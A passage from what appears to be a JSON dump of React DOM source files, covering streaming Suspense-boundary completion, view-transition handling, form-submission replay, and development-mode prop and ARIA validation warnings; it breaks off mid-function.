exitElement.getAttribute('vt-name');\n          const pairedElement = appearingViewTransitions.get(exitName);\n          applyViewTransitionName(\n            exitElement,\n            pairedElement ? 'vt-share' : 'vt-exit',\n          );\n          if (pairedElement) {\n            // Activate the other side as well.\n            applyViewTransitionName(pairedElement, 'vt-share');\n            appearingViewTransitions.set(exitName, null); // mark claimed\n          }\n          // Next we'll look inside this element for pairs to trigger \"share\".\n          const disappearingElements =\n            exitElement.querySelectorAll('[vt-share]');\n          for (let j = 0; j < disappearingElements.length; j++) {\n            const disappearingElement = disappearingElements[j];\n            const name = disappearingElement.getAttribute('vt-name');\n            const appearingElement = appearingViewTransitions.get(name);\n            if (appearingElement) {\n              applyViewTransitionName(disappearingElement, 'vt-share');\n              applyViewTransitionName(appearingElement, 'vt-share');\n              appearingViewTransitions.set(name, null); // mark claimed\n            }\n          }\n        }\n        node = node.nextSibling;\n      }\n\n      // Apply enter animations to the new nodes about to be inserted.\n      const contentNode = batch[i + 1];\n      let enterElement = contentNode.firstElementChild;\n      while (enterElement) {\n        const paired =\n          appearingViewTransitions.get(enterElement.getAttribute('vt-name')) ===\n          null;\n        if (!paired) {\n          applyViewTransitionName(enterElement, 'vt-enter');\n        }\n        enterElement = enterElement.nextElementSibling;\n      }\n\n      // Apply update animations to any parents and siblings that might be affected.\n      let ancestorElement = parentInstance;\n      do {\n        let childElement = ancestorElement.firstElementChild;\n        while (childElement) {\n          // TODO: Bail out if we can\n          const updateClassName = childElement.getAttribute('vt-update');\n          if (\n            updateClassName &&\n            updateClassName !== 'none' &&\n            !restoreQueue.includes(childElement)\n          ) {\n            // If we have already handled this element as part of another exit/enter/share, don't override.\n            applyViewTransitionName(childElement, 'vt-update');\n          }\n          childElement = childElement.nextElementSibling;\n        }\n      } while (\n        (ancestorElement = ancestorElement.parentNode) &&\n        ancestorElement.nodeType === ELEMENT_NODE &&\n        ancestorElement.getAttribute('vt-update') !== 'none'\n      );\n\n      // Find the appearing Suspensey Images inside the new content.\n      const appearingImages = contentNode.querySelectorAll(\n        'img[src]:not([loading=\"lazy\"])',\n      );\n      // TODO: Consider marking shouldStartViewTransition if we found any images.\n      // But only once we can disable the root animation for that case.\n      suspenseyImages.push.apply(suspenseyImages, appearingImages);\n    }\n    if (shouldStartViewTransition) {\n      const transition = (document['__reactViewTransition'] = document[\n        'startViewTransition'\n      ]({\n        update: () => {\n          revealBoundaries(batch);\n          const blockingPromises = [\n            // Force layout to trigger font loading, we stash the actual value to trick minifiers.\n            document.documentElement.clientHeight,\n            // Block on fonts finishing loading before revealing these boundaries.\n            document.fonts.ready,\n          ];\n          for (let i = 0; i < suspenseyImages.length; i++) {\n            const suspenseyImage = suspenseyImages[i];\n            if (!suspenseyImage.complete) {\n              const rect = suspenseyImage.getBoundingClientRect();\n              const inViewport =\n                rect.bottom > 0 &&\n                rect.right > 0 &&\n                rect.top < window.innerHeight &&\n                rect.left < window.innerWidth;\n              if (inViewport) {\n                // TODO: Use decode() instead of the load event here once the fix in\n                // https://issues.chromium.org/issues/420748301 has propagated fully.\n                const loadingImage = new Promise(resolve => {\n                  suspenseyImage.addEventListener('load', resolve);\n                  suspenseyImage.addEventListener('error', resolve);\n                });\n                blockingPromises.push(loadingImage);\n              }\n            }\n          }\n          return Promise.race([\n            Promise.all(blockingPromises),\n            new Promise(resolve => {\n              const currentTime = performance.now();\n              const msUntilTimeout =\n                // If the throttle would make us miss the target metric, then shorten the throttle.\n                // performance.now()'s zero value is assumed to be the start time of the metric.\n                currentTime < TARGET_VANITY_METRIC &&\n                currentTime > TARGET_VANITY_METRIC - FALLBACK_THROTTLE_MS\n                  ? TARGET_VANITY_METRIC - currentTime\n                  : // Otherwise it's throttled starting from last commit time.\n                    SUSPENSEY_FONT_AND_IMAGE_TIMEOUT;\n              setTimeout(resolve, msUntilTimeout);\n            }),\n          ]);\n        },\n        types: [], // TODO: Add a hard coded type for Suspense reveals.\n      }));\n      transition.ready.finally(() => {\n        // Restore all the names/classes that we applied to what they were before.\n        // We do it in reverse order in case there were duplicates so the first one wins.\n        for (let i = restoreQueue.length - 3; i >= 0; i -= 3) {\n          const element = restoreQueue[i];\n          const elementStyle = element.style;\n          const previousName = restoreQueue[i + 1];\n          elementStyle['viewTransitionName'] = previousName;\n          const previousClassName = restoreQueue[i + 1];\n          elementStyle['viewTransitionClass'] = previousClassName;\n          if (element.getAttribute('style') === '') {\n            element.removeAttribute('style');\n          }\n        }\n      });\n      transition.finished.finally(() => {\n        if (document['__reactViewTransition'] === transition) {\n          document['__reactViewTransition'] = null;\n        }\n      });\n      // Queue any future completions into its own batch since they won't have been\n      // snapshotted by this one.\n      window['$RB'] = [];\n      return;\n    }\n    // Fall through to reveal.\n  } catch (x) {\n    // Fall through to reveal.\n  }\n  // ViewTransitions v2 not supported or no ViewTransitions found. Reveal immediately.\n  revealBoundaries(batch);\n}\n\nexport function clientRenderBoundary(\n  suspenseBoundaryID,\n  errorDigest,\n  errorMsg,\n  errorStack,\n  errorComponentStack,\n) {\n  // Find the fallback's first element.\n  const suspenseIdNode = document.getElementById(suspenseBoundaryID);\n  if (!suspenseIdNode) {\n    // The user must have already navigated away from this tree.\n    // E.g. because the parent was hydrated.\n    return;\n  }\n  // Find the boundary around the fallback. This is always the previous node.\n  const suspenseNode = suspenseIdNode.previousSibling;\n  // Tag it to be client rendered.\n  suspenseNode.data = SUSPENSE_FALLBACK_START_DATA;\n  // assign error metadata to first sibling\n  const dataset = suspenseIdNode.dataset;\n  if (errorDigest) dataset['dgst'] = errorDigest;\n  if (errorMsg) dataset['msg'] = errorMsg;\n  if (errorStack) dataset['stck'] = errorStack;\n  if (errorComponentStack) dataset['cstck'] = errorComponentStack;\n  // Tell React to retry it if the parent already hydrated.\n  if (suspenseNode['_reactRetry']) {\n    suspenseNode['_reactRetry']();\n  }\n}\n\nexport function completeBoundary(suspenseBoundaryID, contentID) {\n  const contentNodeOuter = document.getElementById(contentID);\n  if (!contentNodeOuter) {\n    // If the client has failed hydration we may have already deleted the streaming\n    // segments. The server may also have emitted a complete instruction but cancelled\n    // the segment. Regardless we can ignore this case.\n    return;\n  }\n\n  // Find the fallback's first element.\n  const suspenseIdNodeOuter = document.getElementById(suspenseBoundaryID);\n  if (!suspenseIdNodeOuter) {\n    // We'll never reveal this boundary so we can remove its content immediately.\n    // Otherwise we'll leave it in until we reveal it.\n    // This is important in case this specific boundary contains other boundaries\n    // that may get completed before we reveal this one.\n    contentNodeOuter.parentNode.removeChild(contentNodeOuter);\n\n    // The user must have already navigated away from this tree.\n    // E.g. because the parent was hydrated. That's fine there's nothing to do\n    // but we have to make sure that we already deleted the container node.\n    return;\n  }\n\n  // Mark this Suspense boundary as queued so we know not to client render it\n  // at the end of document load.\n  const suspenseNodeOuter = suspenseIdNodeOuter.previousSibling;\n  suspenseNodeOuter.data = SUSPENSE_QUEUED_START_DATA;\n  // Queue this boundary for the next batch\n  window['$RB'].push(suspenseIdNodeOuter, contentNodeOuter);\n\n  if (window['$RB'].length === 2) {\n    // This is the first time we've pushed to the batch. We need to schedule a callback\n    // to flush the batch. This is delayed by the throttle heuristic.\n    if (typeof window['$RT'] !== 'number') {\n      // If we haven't had our rAF callback yet, schedule everything for the first paint.\n      requestAnimationFrame(window['$RV'].bind(null, window['$RB']));\n    } else {\n      const currentTime = performance.now();\n      const msUntilTimeout =\n        // If the throttle would make us miss the target metric, then shorten the throttle.\n        // performance.now()'s zero value is assumed to be the start time of the metric.\n        currentTime < TARGET_VANITY_METRIC &&\n        currentTime > TARGET_VANITY_METRIC - FALLBACK_THROTTLE_MS\n          ? TARGET_VANITY_METRIC - currentTime\n          : // Otherwise it's throttled starting from last commit time.\n            window['$RT'] + FALLBACK_THROTTLE_MS - currentTime;\n      // We always schedule the flush in a timer even if it's very low or negative to allow\n      // for multiple completeBoundary calls that are already queued to have a chance to\n      // make the batch.\n      setTimeout(window['$RV'].bind(null, window['$RB']), msUntilTimeout);\n    }\n  }\n}\n\nexport function completeBoundaryWithStyles(\n  suspenseBoundaryID,\n  contentID,\n  stylesheetDescriptors,\n) {\n  const precedences = new Map();\n  const thisDocument = document;\n  let lastResource, node;\n\n  // Seed the precedence list with existing resources and collect hoistable style tags\n  const nodes = thisDocument.querySelectorAll(\n    'link[data-precedence],style[data-precedence]',\n  );\n  const styleTagsToHoist = [];\n  for (let i = 0; (node = nodes[i++]); ) {\n    if (node.getAttribute('media') === 'not all') {\n      styleTagsToHoist.push(node);\n    } else {\n      if (node.tagName === 'LINK') {\n        window['$RM'].set(node.getAttribute('href'), node);\n      }\n      precedences.set(node.dataset['precedence'], (lastResource = node));\n    }\n  }\n\n  let i = 0;\n  const dependencies = [];\n  let href, precedence, attr, loadingState, resourceEl, media;\n\n  function cleanupWith(cb) {\n    this['_p'] = null;\n    cb();\n  }\n\n  // Sheets Mode\n  let sheetMode = true;\n  while (true) {\n    if (sheetMode) {\n      // Sheet Mode iterates over the stylesheet arguments and constructs them if new or checks them for\n      // dependency if they already existed\n      const stylesheetDescriptor = stylesheetDescriptors[i++];\n      if (!stylesheetDescriptor) {\n        // enter <style> Mode\n        sheetMode = false;\n        i = 0;\n        continue;\n      }\n\n      let avoidInsert = false;\n      let j = 0;\n      href = stylesheetDescriptor[j++];\n\n      if ((resourceEl = window['$RM'].get(href))) {\n        // We have an already inserted stylesheet.\n        loadingState = resourceEl['_p'];\n        avoidInsert = true;\n      } else {\n        // We haven't already processed this href so we need to construct a stylesheet and hoist it\n        // We construct it here and attach a loadingState. We also check whether it matches\n        // media before we include it in the dependency array.\n        resourceEl = thisDocument.createElement('link');\n        resourceEl.href = href;\n        resourceEl.rel = 'stylesheet';\n        resourceEl.dataset['precedence'] = precedence =\n          stylesheetDescriptor[j++];\n        while ((attr = stylesheetDescriptor[j++])) {\n          resourceEl.setAttribute(attr, stylesheetDescriptor[j++]);\n        }\n        loadingState = resourceEl['_p'] = new Promise((resolve, reject) => {\n          resourceEl.onload = cleanupWith.bind(resourceEl, resolve);\n          resourceEl.onerror = cleanupWith.bind(resourceEl, reject);\n        });\n        // Save this resource element so we can bailout if it is used again\n        window['$RM'].set(href, resourceEl);\n      }\n      media = resourceEl.getAttribute('media');\n      if (loadingState && (!media || window['matchMedia'](media).matches)) {\n        dependencies.push(loadingState);\n      }\n      if (avoidInsert) {\n        // We have a link that is already in the document. We don't want to fall through to the insert path\n        continue;\n      }\n    } else {\n      // <style> mode iterates over not-yet-hoisted <style> tags with data-precedence and hoists them.\n      resourceEl = styleTagsToHoist[i++];\n      if (!resourceEl) {\n        // we are done with all style tags\n        break;\n      }\n\n      precedence = resourceEl.getAttribute('data-precedence');\n      resourceEl.removeAttribute('media');\n    }\n\n    // resourceEl is either a newly constructed <link rel=\"stylesheet\" ...> or a <style> tag requiring hoisting\n    const prior = precedences.get(precedence) || lastResource;\n    if (prior === lastResource) {\n      lastResource = resourceEl;\n    }\n    precedences.set(precedence, resourceEl);\n\n    // Finally, we insert the newly constructed instance at an appropriate location\n    // in the Document.\n    if (prior) {\n      prior.parentNode.insertBefore(resourceEl, prior.nextSibling);\n    } else {\n      const head = thisDocument.head;\n      head.insertBefore(resourceEl, head.firstChild);\n    }\n  }\n\n  const suspenseIdNodeOuter = document.getElementById(suspenseBoundaryID);\n  if (suspenseIdNodeOuter) {\n    // Mark this Suspense boundary as queued so we know not to client render it\n    // at the end of document load.\n    const suspenseNodeOuter = suspenseIdNodeOuter.previousSibling;\n    suspenseNodeOuter.data = SUSPENSE_QUEUED_START_DATA;\n  }\n\n  Promise.all(dependencies).then(\n    window['$RC'].bind(null, suspenseBoundaryID, contentID),\n    window['$RX'].bind(null, suspenseBoundaryID, 'CSS failed to load'),\n  );\n}\n\nexport function completeSegment(containerID, placeholderID) {\n  const segmentContainer = document.getElementById(containerID);\n  const placeholderNode = document.getElementById(placeholderID);\n  // We always expect both nodes to exist here because, while we might\n  // have navigated away from the main tree, we still expect the detached\n  // tree to exist.\n  segmentContainer.parentNode.removeChild(segmentContainer);\n  while (segmentContainer.firstChild) {\n    placeholderNode.parentNode.insertBefore(\n      segmentContainer.firstChild,\n      placeholderNode,\n    );\n  }\n  placeholderNode.parentNode.removeChild(placeholderNode);\n}\n\n// This is the exact URL string we expect that Fizz renders if we provide a function action.\n// We use this for hydration warnings. It needs to be in sync with Fizz. Maybe makes sense\n// as a shared module for that reason.\nconst EXPECTED_FORM_ACTION_URL =\n  // eslint-disable-next-line no-script-url\n  \"javascript:throw new Error('React form unexpectedly submitted.')\";\n\nexport function listenToFormSubmissionsForReplaying() {\n  // A global replay queue ensures actions are replayed in order.\n  // This event listener should be above the React one. That way when\n  // we preventDefault in React's handling we also prevent this event\n  // from queing it. Since React listens to the root and the top most\n  // container you can use is the document, the window is fine.\n  // eslint-disable-next-line no-restricted-globals\n  addEventListener('submit', event => {\n    if (event.defaultPrevented) {\n      // We let earlier events to prevent the action from submitting.\n      return;\n    }\n    const form = event.target;\n    const submitter = event['submitter'];\n    let action = form.action;\n    let formDataSubmitter = submitter;\n    if (submitter) {\n      const submitterAction = submitter.getAttribute('formAction');\n      if (submitterAction != null) {\n        // The submitter overrides the action.\n        action = submitterAction;\n        // If the submitter overrides the action, and it passes the test below,\n        // that means that it was a function action which conceptually has no name.\n        // Therefore, we exclude the submitter from the formdata.\n        formDataSubmitter = null;\n      }\n    }\n    if (action !== EXPECTED_FORM_ACTION_URL) {\n      // The form is a regular form action, we can bail.\n      return;\n    }\n\n    // Prevent native navigation.\n    // This will also prevent other React's on the same page from listening.\n    event.preventDefault();\n\n    // Take a snapshot of the FormData at the time of the event.\n    const formData = new FormData(form, formDataSubmitter);\n\n    // Queue for replaying later. This field could potentially be shared with multiple\n    // Reacts on the same page since each one will preventDefault for the next one.\n    // This means that this protocol is shared with any React version that shares the same\n    // javascript: URL placeholder value. So we might not be the first to declare it.\n    // We attach it to the form's root node, which is the shared environment context\n    // where we preserve sequencing and where we'll pick it up from during hydration.\n    // If there's no ownerDocument, then this is the document.\n    const root = form.ownerDocument || form;\n    (root['$$reactFormReplay'] = root['$$reactFormReplay'] || []).push(\n      form,\n      submitter,\n      formData,\n    );\n  });\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactControlledValuePropTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nconst hasReadOnlyValue = {\n  button: true,\n  checkbox: true,\n  image: true,\n  hidden: true,\n  radio: true,\n  reset: true,\n  submit: true,\n};\n\nexport function checkControlledValueProps(\n  tagName: string,\n  props: Object,\n): void {\n  if (__DEV__) {\n    if (\n      !(\n        hasReadOnlyValue[props.type] ||\n        props.onChange ||\n        props.onInput ||\n        props.readOnly ||\n        props.disabled ||\n        props.value == null\n      )\n    ) {\n      if (tagName === 'select') {\n        console.error(\n          'You provided a `value` prop to a form field without an ' +\n            '`onChange` handler. This will render a read-only field. If ' +\n            'the field should be mutable use `defaultValue`. Otherwise, set `onChange`.',\n        );\n      } else {\n        console.error(\n          'You provided a `value` prop to a form field without an ' +\n            '`onChange` handler. This will render a read-only field. If ' +\n            'the field should be mutable use `defaultValue`. Otherwise, set either `onChange` or `readOnly`.',\n        );\n      }\n    }\n\n    if (\n      !(\n        props.onChange ||\n        props.readOnly ||\n        props.disabled ||\n        props.checked == null\n      )\n    ) {\n      console.error(\n        'You provided a `checked` prop to a form field without an ' +\n          '`onChange` handler. This will render a read-only field. If ' +\n          'the field should be mutable use `defaultChecked`. Otherwise, ' +\n          'set either `onChange` or `readOnly`.',\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactDOMFormActions.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Awaited} from 'shared/ReactTypes';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';\n\ntype FormStatusNotPending = {|\n  pending: false,\n  data: null,\n  method: null,\n  action: null,\n|};\n\ntype FormStatusPending = {|\n  pending: true,\n  data: FormData,\n  method: string,\n  action: string | (FormData => void | Promise<void>) | null,\n|};\n\nexport type FormStatus = FormStatusPending | FormStatusNotPending;\n\n// Since the \"not pending\" value is always the same, we can reuse the\n// same object across all transitions.\nconst sharedNotPendingObject: FormStatusNotPending = {\n  pending: false,\n  data: null,\n  method: null,\n  action: null,\n};\n\nexport const NotPending: FormStatus = __DEV__\n  ? Object.freeze(sharedNotPendingObject)\n  : sharedNotPendingObject;\n\nfunction resolveDispatcher() {\n  // Copied from react/src/ReactHooks.js. It's the same thing but in a\n  // different package.\n  const dispatcher = ReactSharedInternals.H;\n  if (__DEV__) {\n    if (dispatcher === null) {\n      console.error(\n        'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n          ' one of the following reasons:\\n' +\n          '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n          '2. You might be breaking the Rules of Hooks\\n' +\n          '3. You might have more than one copy of React in the same app\\n' +\n          'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n      );\n    }\n  }\n  // Will result in a null access error if accessed outside render phase. We\n  // intentionally don't throw our own error because this is in a hot path.\n  // Also helps ensure this is inlined.\n  return ((dispatcher: any): Dispatcher);\n}\n\nexport function useFormStatus(): FormStatus {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useHostTransitionStatus();\n}\n\nexport function useFormState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useFormState(action, initialState, permalink);\n}\n\nexport function requestFormReset(form: HTMLFormElement) {\n  ReactDOMSharedInternals.d /* ReactDOMCurrentDispatcher */\n    .r(/* requestFormReset */ form);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactDOMInvalidARIAHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {ATTRIBUTE_NAME_CHAR} from './isAttributeNameSafe';\nimport validAriaProperties from './validAriaProperties';\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nconst warnedProperties = {};\nconst rARIA = new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$');\nconst rARIACamel = new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$');\n\nfunction validateProperty(tagName, name) {\n  if (__DEV__) {\n    if (hasOwnProperty.call(warnedProperties, name) && warnedProperties[name]) {\n      return true;\n    }\n\n    if (rARIACamel.test(name)) {\n      const ariaName = 'aria-' + name.slice(4).toLowerCase();\n      const correctName = validAriaProperties.hasOwnProperty(ariaName)\n        ? ariaName\n        : null;\n\n      // If this is an aria-* attribute, but is not listed in the known DOM\n      // DOM properties, then it is an invalid aria-* attribute.\n      if (correctName == null) {\n        console.error(\n          'Invalid ARIA attribute `%s`. ARIA attributes follow the pattern aria-* and must be lowercase.',\n          name,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n      // aria-* attributes should be lowercase; suggest the lowercase version.\n      if (name !== correctName) {\n        console.error(\n          'Invalid ARIA attribute `%s`. Did you mean `%s`?',\n          name,\n          correctName,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n    }\n\n    if (rARIA.test(name)) {\n      const lowerCasedName = name.toLowerCase();\n      const standardName = validAriaProperties.hasOwnProperty(lowerCasedName)\n        ? lowerCasedName\n        : null;\n\n      // If this is an aria-* attribute, but is not listed in the known DOM\n      // DOM properties, then it is an invalid aria-* attribute.\n      if (standardName == null) {\n        warnedProperties[name] = true;\n        return false;\n      }\n      // aria-* attributes should be lowercase; suggest the lowercase version.\n      if (name !== standardName) {\n        console.error(\n          'Unknown ARIA attribute `%s`. Did you mean `%s`?',\n          name,\n          standardName,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n    }\n  }\n\n  return true;\n}\n\nexport function validateProperties(type, props) {\n  if (__DEV__) {\n    const invalidProps = [];\n\n    for (const key in props) {\n      const isValid = validateProperty(type, key);\n      if (!isValid) {\n        invalidProps.push(key);\n      }\n    }\n\n    const unknownPropString = invalidProps\n      .map(prop => '`' + prop + '`')\n      .join(', ');\n\n    if (invalidProps.length === 1) {\n      console.error(\n        'Invalid aria prop %s on <%s> tag. ' +\n          'For details, see https://react.dev/link/invalid-aria-props',\n        unknownPropString,\n        type,\n      );\n    } else if (invalidProps.length > 1) {\n      console.error(\n        'Invalid aria props %s on <%s> tag. ' +\n          'For details, see https://react.dev/link/invalid-aria-props',\n        unknownPropString,\n        type,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactDOMNullInputValuePropHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nlet didWarnValueNull = false;\n\nexport function validateProperties(type, props) {\n  if (__DEV__) {\n    if (type !== 'input' && type !== 'textarea' && type !== 'select') {\n      return;\n    }\n\n    if (props != null && props.value === null && !didWarnValueNull) {\n      didWarnValueNull = true;\n      if (type === 'select' && props.multiple) {\n        console.error(\n          '`value` prop on `%s` should not be null. ' +\n            'Consider using an empty array when `multiple` is set to `true` ' +\n            'to clear the component or `undefined` for uncontrolled components.',\n          type,\n        );\n      } else {\n        console.error(\n          '`value` prop on `%s` should not be null. ' +\n            'Consider using an empty string to clear the component or `undefined` ' +\n            'for uncontrolled components.',\n          type,\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactDOMResourceValidation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function validateLinkPropsForStyleResource(props: any): boolean {\n  if (__DEV__) {\n    // This should only be called when we know we are opting into Resource semantics (i.e. precedence is not null)\n    const {href, onLoad, onError, disabled} = props;\n    const includedProps = [];\n    if (onLoad) includedProps.push('`onLoad`');\n    if (onError) includedProps.push('`onError`');\n    if (disabled != null) includedProps.push('`disabled`');\n\n    let includedPropsPhrase = propNamesListJoin(includedProps, 'and');\n    includedPropsPhrase += includedProps.length === 1 ? ' prop' : ' props';\n    const withArticlePhrase =\n      includedProps.length === 1\n        ? 'an ' + includedPropsPhrase\n        : 'the ' + includedPropsPhrase;\n\n    if (includedProps.length) {\n      console.error(\n        'React encountered a <link rel=\"stylesheet\" href=\"%s\" ... /> with a `precedence` prop that' +\n          ' also included %s. The presence of loading and error handlers indicates an intent to manage' +\n          ' the stylesheet loading state from your from your Component code and React will not hoist or' +\n          ' deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet' +\n          ' using the `precedence` prop remove the %s, otherwise remove the `precedence` prop.',\n        href,\n        withArticlePhrase,\n        includedPropsPhrase,\n      );\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction propNamesListJoin(\n  list: Array<string>,\n  combinator: 'and' | 'or',\n): string {\n  switch (list.length) {\n    case 0:\n      return '';\n    case 1:\n      return list[0];\n    case 2:\n      return list[0] + ' ' + combinator + ' ' + list[1];\n    default:\n      return (\n        list.slice(0, -1).join(', ') +\n        ', ' +\n        combinator +\n        ' ' +\n        list[list.length - 1]\n      );\n  }\n}\n\nexport function getValueDescriptorExpectingObjectForWarning(\n  thing: any,\n): string {\n  return thing === null\n    ? '`null`'\n    : thing === undefined\n      ? '`undefined`'\n      : thing === ''\n        ? 'an empty string'\n        : `something with type \"${typeof thing}\"`;\n}\n\nexport function getValueDescriptorExpectingEnumForWarning(thing: any): string {\n  return thing === null\n    ? '`null`'\n    : thing === undefined\n      ? '`undefined`'\n      : thing === ''\n        ? 'an empty string'\n        : typeof thing === 'string'\n          ? JSON.stringify(thing)\n          : `something with type \"${typeof thing}\"`;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/shared/ReactDOMUnknownPropertyHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {ATTRIBUTE_NAME_CHAR} from './isAttributeNameSafe';\nimport isCustomElement from './isCustomElement';\nimport possibleStandardNames from './possibleStandardNames';\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nconst warnedProperties = {};\nconst EVENT_NAME_REGEX = /^on./;\nconst INVALID_EVENT_NAME_REGEX = /^on[^A-Z]/;\nconst rARIA = __DEV__\n  ? new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$')\n  : null;\nconst rARIACamel = __DEV__\n  ? new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$')\n  : null;\n\nfunction validateProperty(tagName, name, value, eventRegistry) {\n  if (__DEV__) {\n    if (hasOwnProperty.call(warnedProperties, name) && warnedProperties[name]) {\n      return true;\n    }\n\n    const lowerCasedName = name.toLowerCase();\n    if (lowerCasedName === 'onfocusin' || lowerCasedName === 'onfocusout') {\n      console.error(\n        'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' +\n          'All React events are normalized to bubble, so onFocusIn and onFocusOut ' +\n          'are not needed/supported by React.',\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    // Actions are special because unlike events they can have other value types.\n    if (typeof value === 'function') {\n      if (tagName === 'form' && name === 'action') {\n        return true;\n      }\n      if (tagName === 'input' && name === 'formAction') {\n        return true;\n      }\n      if (tagName === 'button' && name === 'formAction') {\n        return true;\n      }\n    }\n    // We can't rely on the event system being injected on the server.\n    if (eventRegistry != null) {\n      const {registrationNameDependencies, possibleRegistrationNames} =\n        eventRegistry;\n      if (registrationNameDependencies.hasOwnProperty(name)) {\n        return true;\n      }\n      const registrationName = possibleRegistrationNames.hasOwnProperty(\n        lowerCasedName,\n      )\n        ? possibleRegistrationNames[lowerCasedName]\n        : null;\n      if (registrationName != null) {\n        console.error(\n          'Invalid event handler property `%s`. Did you mean `%s`?',\n          name,\n          registrationName,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n      if (EVENT_NAME_REGEX.test(name)) {\n        console.error(\n          'Unknown event handler property `%s`. It will be ignored.',\n          name,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n    } else if (EVENT_NAME_REGEX.test(name)) {\n      // If no event plugins have been injected, we are in a server environment.\n      // So we can't tell if the event name is correct for sure, but we can filter\n      // out known bad ones like `onclick`. We can't suggest a specific replacement though.\n      if (INVALID_EVENT_NAME_REGEX.test(name)) {\n        console.error(\n          'Invalid event handler property `%s`. ' +\n            'React events use the camelCase naming convention, for example `onClick`.',\n          name,\n        );\n      }\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    // Let the ARIA attribute hook validate ARIA attributes\n    if (rARIA.test(name) || rARIACamel.test(name)) {\n      return true;\n    }\n\n    if (lowerCasedName === 'innerhtml') {\n      console.error(\n        'Directly setting property `innerHTML` is not permitted. ' +\n          'For more information, lookup documentation on `dangerouslySetInnerHTML`.',\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    if (lowerCasedName === 'aria') {\n      console.error(\n        'The `aria` attribute is reserved for future use in React. ' +\n          'Pass individual `aria-` attributes instead.',\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    if (\n      lowerCasedName === 'is' &&\n      value !== null &&\n      value !== undefined &&\n      typeof value !== 'string'\n    ) {\n      console.error(\n        'Received a `%s` for a string attribute `is`. If this is expected, cast ' +\n          'the value to a string.',\n        typeof value,\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    if (typeof value === 'number' && isNaN(value)) {\n      console.error(\n        'Received NaN for the `%s` attribute. If this is expected, cast ' +\n          'the value to a string.',\n        name,\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    // Known attributes should match the casing specified in the property config.\n    if (possibleStandardNames.hasOwnProperty(lowerCasedName)) {\n      const standardName = possibleStandardNames[lowerCasedName];\n      if (standardName !== name) {\n        console.error(\n          'Invalid DOM property `%s`. Did you mean `%s`?',\n          name,\n          standardName,\n        );\n        warnedProperties[name] = true;\n        return true;\n      }\n    } else if (name !== lowerCasedName) {\n      // Unknown attributes should have lowercase casing since that's how they\n      // will be cased anyway with server rendering.\n      console.error(\n        'React does not recognize the `%s` prop on a DOM element. If you ' +\n          'intentionally want it to appear in the DOM as a custom ' +\n          'attribute, spell it as lowercase `%s` instead. ' +\n          'If you accidentally passed it from a parent component, remove ' +\n          'it from the DOM element.',\n        name,\n        lowerCasedName,\n      );\n      warnedProperties[name] = true;\n      return true;\n    }\n\n    // Now that we've validated casing, do not validate\n    // data types for reserved props\n    switch (name) {\n      case 'dangerouslySetInnerHTML':\n      case 'children':\n      case 'style':\n      case 'suppressContentEditableWarning':\n      case 'suppressHydrationWarning':\n      case 'defaultValue': // Reserved\n      case 'defaultChecked':\n      case 'innerHTML':\n      case 'ref': {\n        return true;\n      }\n      case 'innerText': // Properties\n      case 'textContent':\n        return true;\n    }\n\n    switch (typeof value) {\n      case 'boolean': {\n        switch (name) {\n          case 'autoFocus':\n          case 'checked':\n          case 'multiple':\n          case 'muted':\n          case 'selected':\n          case 'contentEditable':\n          case 'spellCheck':\n          case 'draggable':\n          case 'value':\n          case 'autoReverse':\n          case 